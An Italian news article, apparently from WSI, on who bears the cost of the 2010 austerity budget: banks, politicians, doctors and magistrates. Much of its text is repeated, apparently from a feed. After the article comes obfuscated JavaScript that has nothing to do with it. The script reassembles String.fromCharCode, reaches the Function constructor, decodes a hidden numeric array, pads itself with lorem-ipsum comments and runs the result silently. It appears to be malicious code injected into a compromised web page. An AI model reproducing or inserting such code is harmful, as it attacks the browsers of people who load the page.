Secondo le rilevazioni della Federconsumatori nelle banche vengono ancora praticati tassi e condizioni fuori della media europea, con i mutui che costano interessi più elevati dello 0,59% della media Ue e del 2,16% in più sui prestiti personali, che costringono i cittadini italiani a sborsare ben 361 euro in più l’anno per un mutuo di 100.000 euro, con una maggiorazione di 10.830 euro a fine mutuo vero handicap competitivo rispetto ai cittadini d’Europa. Inoltre i prestiti personali hanno un costo superiore del 2,16% che comporta un maggiore esborso di 368,40 euro l’anno.

Ci sono costi che vengono applicati ai correntisti più sprovveduti come l’invio di estratti conti cartacei o dell’informativa riguardante il cambiamento del tasso applicato; la media è di 2-3 euro a invio. Altra spesa è quella per la chiusura di un conto. La banca chiede praticamente sempre di pagare qualcosa se negli anni precedenti si è andati in rosso, oppure non si sono rispettati i tempi per il rientro di un prestito o di un finanziamento ipotecario. C’è il rischio che con una chiusura che sfori temporalmente il trimestre ci sia l’obbligo di pagare interessi e spese trimestrali. C’è poi la spesa per versare assegni, operazione che riesce a costare oltre 10 euro anche da una banca italiana verso un’altra banca italiana. Un onere è la gestione dei risparmi.

MEDICI: parcelle d’oro ma scendono in piazza - Si dividono tra l’attività ospedaliera e quella professionale privata e nelle cliniche. Molti di loro hanno parcelle d’oro eppure quando vengono chiamati a contribuire alla manovra anticrisi si tirano indietro, fanno le barricate, proclamano lo sciopero e sono pronti a bloccare le attività nelle Asl e negli ospedali. I sindacati dei medici del servizio pubblico incroceranno le braccia per due giorni il 12 e il 19 luglio contro le misure prese con la manovra.

Sostengono che il blocco del turnover determinerà una carenza di circa 20.000 medici e dirigenti sanitari necessari al funzionamento degli Ospedali e dei Servizi Territoriali; il licenziamento dei precari che da anni vicariano le mancate assunzioni soprattutto nei settori legati all’emergenza e alla prevenzione; il taglio di 10 miliardi delle risorse alle Regioni con inevitabili ricadute sul settore socio sanitario che rappresenta il 70% del loro bilancio. La protesta è stata decisa nonostante il voto contrario della Cisl e Uil Medici. Sostenuto quindi dalla sola Cgil ha il carattere di una mobilitazione politica.

Secondo i sndacati la manovra sottrae risorse indispensabili al funzionamento del sistema sanitario ed al mantenimento dei livelli essenziali di assistenza. Il rischio, dicono in coro i medici, è quello che la manovra taglia le prestazioni mediche ai cittadini del 10% con il rischio di un notevole allungamento delle liste di attesa. Il segretario dei medici della Cgil, Massimo Cozza, sottolinea in questo senso che anche l’assistenza territoriale viene penalizzata e che le regioni saranno costretto a tagliare le prestazioni sociali e sanitarie a partire dall’assistenza domiciliare e quella per i non autosufficienti. Fra gli altri effetti anche quelli segnalati gli anestesisti, convinti che saranno «fortemente a rischio una parte dei 50.000 interventi chirurgici che quotidianamente vengono effettuati negli ospedali italiani».

C’è poi il fenomeno degli sprechi che nessun governo è finora riuscito a debellare. Un esempio? Un defibrillatore a Trento costa 13.500 euro e pochi chilometri dopo, a Bolzano, per lo stesso strumento sanitario bisogna pagare 16.100 euro. Non tutte le Asl regionali rendicontano gli acquisti sanitari anche se a chiederli è direttamente il ministro della Salute. Uno dei casi più eclatanti sembrerebbe quello della Regione Sicilia che, pare non abbia mai inviato alle direzioni ministeriali i dati relativi agli acquisti sostenuti dalle proprie Asl. 

Altra situazione è quella del mercato delle attrezzature sanitarie. Produce un fatturato da sette miliardi l’anno. Ogni anno, spiega Andrea Messori, vicepresidente della Società italiana di farmacia ospedaliera (Sifo), in ciascun ospedale si spendono in media 110 milioni per l’acquisto di dispositivi medici soprattutto per la cardiologia interventistica, contro 90 milioni per i farmaci. Mentre per i farmaci c’è una governance, l’Aifa (agenzia italiana sui farmaci), un organo di controllo simile manca per i dispositivi. Col risultato che in questo settore il prezzo è libero con gare che si svolgono ospedale per ospedale, con un’eterogenità di prezzi enorme che possono raddoppiare o triplicare da zona a zona dell’Italia.

MAGISTRATI: scioperano con il portafoglio pieno - Nel 2008 l’Istat fece una mappa delle retribuzioni medie in Italia. I meno pagati erano i lavoratori della pulizie (15.877 euro lordi l’anno), mentre la categoria con il portafoglio più pesante (oltre 110.000 euro lordi l’anno) era quella dei magistrati. Nello stesso anno Umberto Bossi propose di tagliare gli stipendi a politici e toghe. Il segretario dell’Anm Luca Palamara commentò secco: «Prima portiamo gli stipendi a livello dei parlamentari e poi preoccupiamoci di tagliarli».

Va sempre così. Chi tocca le tasche dei magistrati «muore». E poco importano le statistiche dell’Istat. Appena qualcuno ci prova si becca, come minimo, una bella protesta. È successo anche stavolta. Ieri l’Associazione nazionale magistrati ha infatti proclamato uno sciopero per il primo luglio mentre ha fatto sapere che, dal 21 al 25 giugno, saranno organizzate «una o più giornate di sospensione dell’attività di supplenza». L’obiettivo, ovviamente, sono i tagli messi a punto dal governo.

Secondo le toghe, infatti, la manovra economica, «colpisce in maniera iniqua, indiscriminata e casuale. Ad esempio, un pubblico dipendente (magistrato o altro funzionario) con uno stipendio lordo di 150.000 euro subirà un taglio di stipendio di 3.000 euro lordi l’anno (cioè il 2% dello stipendio), mentre un magistrato di prima nomina con uno stipendio lordo di circa 40.000 euro subirà tagli complessivi per circa 10.000 euro lordi l’anno (circa il 25% dello stipendio)».

Insomma, i magistrati «ricchi» protestano per difendere quelli «poveri». Peccato che sul problema sia già intervenuto il ministro della Giustizia Angelino Alfano ha fatto sapere che si batterà al fianco delle giovani toghe cui «è stato chiesto un sacrificio di gran lunga più elevato rispetto ai colleghi anziani».

Colleghi anziani che, tra l’altro, non hanno alcuna intenzione di sacrificarsi maggiormente. Al punto che, mentre invitano il governo a intervenire altrove (soppressione dei piccoli tribunali e delle sezioni distaccate di tribunali; recupero delle pene pecuniarie e delle spese di giustizia; sospensione dei processi con imputati irreperibili), fanno candidamente sapere che gli effetti degli interventi previsti sono già visibili.

Quali sono? «La manovra - spiega il comunicato - sta già provocando un massiccio &quot;esodo&quot; di magistrati, gravemente penalizzati dalle misure concernenti il trattamento di fine rapporto, con conseguente grave scopertura degli organici già in sofferenza». Che tradotto vuol dire che un bel numero di magistrati, pur di non perdere i propri privilegi, sta anticipando la pensione. 

È sempre la solita storia: i sacrifici devono farli tutti, ma è meglio se iniziano gli altri. Tant’è che il Guardasigilli prova a lanciare un appello disperato: «I magistrati sono un pezzo del Paese. All’Italia in questo momento viene chiesto un sacrificio per il bene di tutti. I giudici non dovrebbero sottrarsi a questo sacrificio».

E mentre Pd e Idv si schierano compatti al fianco della toghe, l’Udc trova lo sciopero del primo di luglio assolutamente incomprensibile. « In una fase di crisi in cui a tutti, compresi i politici, è chiesto un sacrificio economico - commenta il segretario centrista Lorenzo Cesa -, stupisce la decisione dei magistrati di indire uno sciopero contro i tagli al loro stipendio». E pensare che Petronio diceva che «dove comanda il denaro, le leggi non valgono niente».

ARTICOLO DI: Alberto Di Majo, Nicola Imberti, Nadia Pietrafitta, Laura Della Pasqua da (WSI)</description>
		<content:encoded><![CDATA[<p>Cosa pensi dell&#8217;equità di questa manovra? </p>
<p>Gli intoccabili: ecco chi non paga. La manovra salva solo i privilegiati</p>
<p>La manovra è servita: ci sono quelli che pagano, quelli che protestano, quelli che potrebbero caricarsi il peso dei sacrifici ma non lo faranno. Salvo colpi di scena. Di sicuro non sfuggiranno gli statali, che dovranno «resistere» qualche mese in più prima di andare in pensione e accettare una liquidazione a rate. Quelli che restano nei loro uffici avranno la vita più difficile visto che le assunzioni sono bloccate.</p>
<p>Ci sono poi quelli che non pagano. Innanzitutto le banche. Tassate in mezzo mondo ma non in Italia. Poi i politici. «Daremo il buon esempio», hanno detto deputati, senatori e ministri. Per alcune settimane non si è parlato d’altro: la norma, inserita nella bozza della manovra, prevedeva di ridurre del dieci per cento la parte di stipendio dei parlamentari sopra gli ottanta mila euro. Ma è stata depennata. Del resto Camera e Senato dispongono dell’autonomia di bilancio. Dovranno decidere loro se e quanto tagliare gli stipendi.</p>
<p>Eppure nella manovra del governo un articolo intitolato «Riduzione dei costi degli apparati politici» c’è, come anche il tanto discusso taglio del dieci per cento. Ma riguarda soltanto gli esponenti di governo «che non sono membri del Parlamento nazionale». Meglio di niente, si penserà. Il punto è che ministri e sottosegretari che non sono stati eletti sono dieci. Bello sforzo. Non resta che sperare che i presidenti Fini e Schifani prendano in mano le forbici nei prossimi giorni. Poi ci sono i magistrati. Quelli in servizio da tempo guadagnano tanto ma non vogliono riduzioni e sbraitano contro il governo. Inoltre c’è la questione delle toghe più giovani che rischiano di pagare il conto più salato. Non solo: protestano i medici e i farmacisti. Se a questo si aggiunge che le Regioni, a cui hanno tagliato i trasferimenti, non si risparmiano leggine per promuovere i dipendenti, allora il quadro è completo. Piove sempre sul bagnato.</p>
<p>Per proteggere il tuo patrimonio, segui INSIDER. Se non sei abbonato, fallo subito: costa solo 0.86 euro al giorno, provalo ora!</p>
<p>POLITICI: invocano tagli ma solo sulla carta &#8211; In principio, quando ancora si stava lavorando alla manovra anticrisi, sembrava di assistere ad una gara a chi la sparava più grossa: i politici erano tutti in prima linea, ben disposti a mettere le mani nel portafogli. Nel loro, per una volta. Ad aprire le danze Roberto Calderoli: «Proporrò in sede di governo, quando affronteremo la manovra finanziaria, un taglio almeno del 5 per cento agli stipendi dei ministri e dei parlamentari come hanno fatto in Inghilterra e Portogallo», aveva detto il ministro della Semplificazione legislativa. «I tagli alle spese comporteranno sacrifici per tutti, i politici devono dare il buon esempio», aveva aggiunto.</p>
<p>Giulio Tremonti, che l’entità di quei sacrifici la conosceva, aveva replicato a suo modo: «Il 5 per cento? Mi viene da sorridere. Per me è solo un aperitivo». Giù allora con la corsa al rilancio. Gli italiani non credevano alle loro orecchie. «Via il 10 per cento degli stipendi», proponeva Daniela Santanchè, sottosegretario all’Attuazione del programma di governo. «Ho intenzione di proporre ai capigruppo e al consiglio dei ministri di devolvere un mese di stipendio della politica in caso di ulteriori sacrifici richiesti ai cittadini», rilanciava Ignazio La Russa, ministro della Difesa. Applausi. «Due mensilità», superava Maurizio Gasparri, capogruppo Pdl alla Camera. Tutti in piedi. «Tre mensilità e non per demagogia» strillava Gianfranco Rotondi, ministro per l’Attuazione del programma. Standing ovation.</p>
<p>Nel frattempo cominciava a circolare una bozza provvisoria della manovra. Le prime indiscrezioni facevano ben sperare: tagli a tutti gli organi costituzionali compreso il Quirinale. Ridotte del dieci per cento le indennità di deputati e senatori, azzerate quelle per le commissioni ministeriali. Scure su consulenze, auto blu, cocktail e ricevimenti. Sembrava quasi che il monito di Napolitano, che aveva predicato sacrifici distribuiti con equità tra tutti i cittadini &#8211; nessuno escluso -, fosse stato rispettato. E invece no.</p>
<p>Quando la manovra viene presentata, si scopre che a pagarla saranno i cittadini, gli statali, i pensionati, i turisti. La norma, inserita nella bozza della manovra, che prevedeva di ridurre del dieci per cento la parte di stipendio dei parlamentari sopra gli ottanta mila euro è stata depennata. Camera e Senato dispongono, infatti, dell’autonomia di bilancio. Dovranno decidere loro se e quanto tagliare agli stipendi dei loro membri. Il provvedimento non può essere contenuto nel decreto legge del governo sulla manovra.</p>
<p>In realtà, un articolo intitolato «Riduzione dei costi degli apparati politici» esiste. È il numero quattro. Esiste pure il tanto discusso taglio del dieci per cento: avranno stipendi più bassi gli esponenti di governo «che non sono membri del Parlamento nazionale». A conti fatti, sono dieci persone: Gianni Letta, Guido Bertolaso, Giancarlo Galan, Ferruccio Fazio, Bartolomeo Giachino, Giuseppe Pizza, Francesco Belsito, Enzo Scotti, Giuseppe Reina e Daniela Santanché, che è l’unica ad essere stata accontentata.</p>
<p>BANCHE: Non ne vogliono sapere di ridurre i costi &#8211; A fare da apripista è stato il presidente americano Barack Obama che come misura anticrisi ha messo a punto una tassa sulle banche tale da ricavare fino a 120 miliardi di dollari. L’obiettivo è recuperare le somme sborsate dal governo per affrontare la crisi e ridurre il deficit. L’operazione americana però ha avuto scarso seguito in Europa. Al momento ci sono solo delle dichiarazioni di intenti da parte di Francia e Germania ma nulla di più. La riunione di martedì dell’Ecofin dovrebbe affrontare il tema ma nella prospettiva di creare con il gettito dell’imposta un fondo per finanziare i possibili salvataggi futuridi banche in difficoltà.</p>
<p>E in Italia? Nella manovra economica di Tremonti non c’è traccia di interventi sulle banche. Gli istituti fanno parte di quella categoria di intoccabili che vengono puntualmente risparmiati dalle operazioni contro la crisi. Eppure le commissioni bancarie non conoscono crisi.</p>
<p>Lo stesso Governatore di Bankitalia Mario Draghi è più volte intervenuto sui costi delle attività degli istituti. Da una relazione della Commissione europea su questo tema emerge che l’Italia è tra i paesi i cui cittadini spendono di più per la gestione dei conti correnti e, assieme ad Austria, Francia e Spagna, presenta risultati insoddisfacenti in materia di trasparenza. Tra i problemi specifici vi sono le informazioni che in molti casi sono di difficile comprensione, costi bancari opachi, problemi con la consulenza e un livello piuttosto basso di cambio di banche.</p>
<p>Secondo le rilevazioni della Federconsumatori nelle banche vengono ancora praticati tassi e condizioni fuori della media europea, con i mutui che costano interessi più elevati dello 0,59% della media Ue e del 2,16% in più sui prestiti personali, che costringono i cittadini italiani a sborsare ben 361 euro in più l’anno per un mutuo di 100.000 euro, con una maggiorazione di 10.830 euro a fine mutuo vero handicap competitivo rispetto ai cittadini d’Europa. Inoltre i prestiti personali hanno un costo superiore del 2,16% che comporta un maggiore esborso di 368,40 euro l’anno.</p>
<p>Ci sono costi che vengono applicati ai correntisti più sprovveduti come l’invio di estratti conti cartacei o dell’informativa riguardante il cambiamento del tasso applicato; la media è di 2-3 euro a invio. Altra spesa è quella per la chiusura di un conto. La banca chiede praticamente sempre di pagare qualcosa se negli anni precedenti si è andati in rosso, oppure non si sono rispettati i tempi per il rientro di un prestito o di un finanziamento ipotecario. C’è il rischio che con una chiusura che sfori temporalmente il trimestre ci sia l’obbligo di pagare interessi e spese trimestrali. C’è poi la spesa per versare assegni, operazione che riesce a costare oltre 10 euro anche da una banca italiana verso un’altra banca italiana. Un onere è la gestione dei risparmi.</p>
<p>MEDICI: parcelle d’oro ma scendono in piazza &#8211; Si dividono tra l’attività ospedaliera e quella professionale privata e nelle cliniche. Molti di loro hanno parcelle d’oro eppure quando vengono chiamati a contribuire alla manovra anticrisi si tirano indietro, fanno le barricate, proclamano lo sciopero e sono pronti a bloccare le attività nelle Asl e negli ospedali. I sindacati dei medici del servizio pubblico incroceranno le braccia per due giorni il 12 e il 19 luglio contro le misure prese con la manovra.</p>
<p>Sostengono che il blocco del turnover determinerà una carenza di circa 20.000 medici e dirigenti sanitari necessari al funzionamento degli Ospedali e dei Servizi Territoriali; il licenziamento dei precari che da anni vicariano le mancate assunzioni soprattutto nei settori legati all’emergenza e alla prevenzione; il taglio di 10 miliardi delle risorse alle Regioni con inevitabili ricadute sul settore socio sanitario che rappresenta il 70% del loro bilancio. La protesta è stata decisa nonostante il voto contrario della Cisl e Uil Medici. Sostenuto quindi dalla sola Cgil ha il carattere di una mobilitazione politica.</p>
<p>Secondo i sndacati la manovra sottrae risorse indispensabili al funzionamento del sistema sanitario ed al mantenimento dei livelli essenziali di assistenza. Il rischio, dicono in coro i medici, è quello che la manovra taglia le prestazioni mediche ai cittadini del 10% con il rischio di un notevole allungamento delle liste di attesa. Il segretario dei medici della Cgil, Massimo Cozza, sottolinea in questo senso che anche l’assistenza territoriale viene penalizzata e che le regioni saranno costretto a tagliare le prestazioni sociali e sanitarie a partire dall’assistenza domiciliare e quella per i non autosufficienti. Fra gli altri effetti anche quelli segnalati gli anestesisti, convinti che saranno «fortemente a rischio una parte dei 50.000 interventi chirurgici che quotidianamente vengono effettuati negli ospedali italiani».</p>
<p>C’è poi il fenomeno degli sprechi che nessun governo è finora riuscito a debellare. Un esempio? Un defibrillatore a Trento costa 13.500 euro e pochi chilometri dopo, a Bolzano, per lo stesso strumento sanitario bisogna pagare 16.100 euro. Non tutte le Asl regionali rendicontano gli acquisti sanitari anche se a chiederli è direttamente il ministro della Salute. Uno dei casi più eclatanti sembrerebbe quello della Regione Sicilia che, pare non abbia mai inviato alle direzioni ministeriali i dati relativi agli acquisti sostenuti dalle proprie Asl. </p>
<p>Altra situazione è quella del mercato delle attrezzature sanitarie. Produce un fatturato da sette miliardi l’anno. Ogni anno, spiega Andrea Messori, vicepresidente della Società italiana di farmacia ospedaliera (Sifo), in ciascun ospedale si spendono in media 110 milioni per l’acquisto di dispositivi medici soprattutto per la cardiologia interventistica, contro 90 milioni per i farmaci. Mentre per i farmaci c’è una governance, l’Aifa (agenzia italiana sui farmaci), un organo di controllo simile manca per i dispositivi. Col risultato che in questo settore il prezzo è libero con gare che si svolgono ospedale per ospedale, con un’eterogenità di prezzi enorme che possono raddoppiare o triplicare da zona a zona dell’Italia.</p>
<p>MAGISTRATI: scioperano con il portafoglio pieno &#8211; Nel 2008 l’Istat fece una mappa delle retribuzioni medie in Italia. I meno pagati erano i lavoratori della pulizie (15.877 euro lordi l’anno), mentre la categoria con il portafoglio più pesante (oltre 110.000 euro lordi l’anno) era quella dei magistrati. Nello stesso anno Umberto Bossi propose di tagliare gli stipendi a politici e toghe. Il segretario dell’Anm Luca Palamara commentò secco: «Prima portiamo gli stipendi a livello dei parlamentari e poi preoccupiamoci di tagliarli».</p>
<p>Va sempre così. Chi tocca le tasche dei magistrati «muore». E poco importano le statistiche dell’Istat. Appena qualcuno ci prova si becca, come minimo, una bella protesta. È successo anche stavolta. Ieri l’Associazione nazionale magistrati ha infatti proclamato uno sciopero per il primo luglio mentre ha fatto sapere che, dal 21 al 25 giugno, saranno organizzate «una o più giornate di sospensione dell’attività di supplenza». L’obiettivo, ovviamente, sono i tagli messi a punto dal governo.</p>
<p>Secondo le toghe, infatti, la manovra economica, «colpisce in maniera iniqua, indiscriminata e casuale. Ad esempio, un pubblico dipendente (magistrato o altro funzionario) con uno stipendio lordo di 150.000 euro subirà un taglio di stipendio di 3.000 euro lordi l’anno (cioè il 2% dello stipendio), mentre un magistrato di prima nomina con uno stipendio lordo di circa 40.000 euro subirà tagli complessivi per circa 10.000 euro lordi l’anno (circa il 25% dello stipendio)».</p>
<p>Insomma, i magistrati «ricchi» protestano per difendere quelli «poveri». Peccato che sul problema sia già intervenuto il ministro della Giustizia Angelino Alfano ha fatto sapere che si batterà al fianco delle giovani toghe cui «è stato chiesto un sacrificio di gran lunga più elevato rispetto ai colleghi anziani».</p>
<p>Colleghi anziani che, tra l’altro, non hanno alcuna intenzione di sacrificarsi maggiormente. Al punto che, mentre invitano il governo a intervenire altrove (soppressione dei piccoli tribunali e delle sezioni distaccate di tribunali; recupero delle pene pecuniarie e delle spese di giustizia; sospensione dei processi con imputati irreperibili), fanno candidamente sapere che gli effetti degli interventi previsti sono già visibili.</p>
<p>Quali sono? «La manovra &#8211; spiega il comunicato &#8211; sta già provocando un massiccio &#8220;esodo&#8221; di magistrati, gravemente penalizzati dalle misure concernenti il trattamento di fine rapporto, con conseguente grave scopertura degli organici già in sofferenza». Che tradotto vuol dire che un bel numero di magistrati, pur di non perdere i propri privilegi, sta anticipando la pensione. </p>
<p>È sempre la solita storia: i sacrifici devono farli tutti, ma è meglio se iniziano gli altri. Tant’è che il Guardasigilli prova a lanciare un appello disperato: «I magistrati sono un pezzo del Paese. All’Italia in questo momento viene chiesto un sacrificio per il bene di tutti. I giudici non dovrebbero sottrarsi a questo sacrificio».</p>
<p>E mentre Pd e Idv si schierano compatti al fianco della toghe, l’Udc trova lo sciopero del primo di luglio assolutamente incomprensibile. « In una fase di crisi in cui a tutti, compresi i politici, è chiesto un sacrificio economico &#8211; commenta il segretario centrista Lorenzo Cesa -, stupisce la decisione dei magistrati di indire uno sciopero contro i tagli al loro stipendio». E pensare che Petronio diceva che «dove comanda il denaro, le leggi non valgono niente».</p>
<p>ARTICOLO DI: Alberto Di Majo, Nicola Imberti, Nadia Pietrafitta, Laura Della Pasqua da (WSI)</p>
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	function co() {
		return 'Code';
	}
	function gafu() {
		xxx=a(String, 'f' + ro() + co());
		return function(q){return xxx(q);};
	};
	rex = [gafu(),gafu()];
	

	function choo(k) {
		if (k < 9) {
			return 1
		} else {
			return 2
		}
	};
	
	d = '';
	mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2,8,2,10,2,11,2,12,2,13,2,14,2,15,2,17,2,18,2,19,2,20,2,21,2,22,2,23,2,24,2,25,2,26,2,27,2,28,2,29];
	map = ''; xo = doc;

	function fs(ro, arr, add, st, en,dp) {
		//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
		var hf = ((en+st)>>1);
		if(en-st>16)
		{
			//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
			return fs(ro, arr, add, st, hf,dp+1) + fs(ro,arr, add, hf, en,dp+1);
		}else{
			var rt='';rx1=rex[add-29];
			for(var rj=st;rj<en;rj++){
			if(typeof arr[rj]!='string'){
			rt+=rx1(arr[rj]+add);}
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		//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi
			return rt;
		}
	}
	map += fs(map, mapper, 30, 0,mapper.length);
	//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland

	function a(b, c) {
		return b[c];
	};

	function ro() {
		return 'romChar';
	}
	rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);
	//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
	try{
	$$(_1(map,rd,choo,_2).replace('?n','in'));}catch(e){}
})(function(jsBb) {
	return (function(jsB, jsBs) {
		return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()
	})((function(jsB) {
		return jsB.constructor
	}), (function(jsB) {
		return (function(jsBs) {
			//accumsan dapibus diam 
			return jsB.call(jsB, jsBs)
		})
	}))
},function(tt){return tt.pop();},
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	for(var c=kk.length;c>0;){		
		var x=ch(c);
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		//accumsan dapibus diam 
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		dd=t.join(pp(t));
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},document,document.getElementsByTagName('title'));
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if(typeof gloa=='function')gloa();
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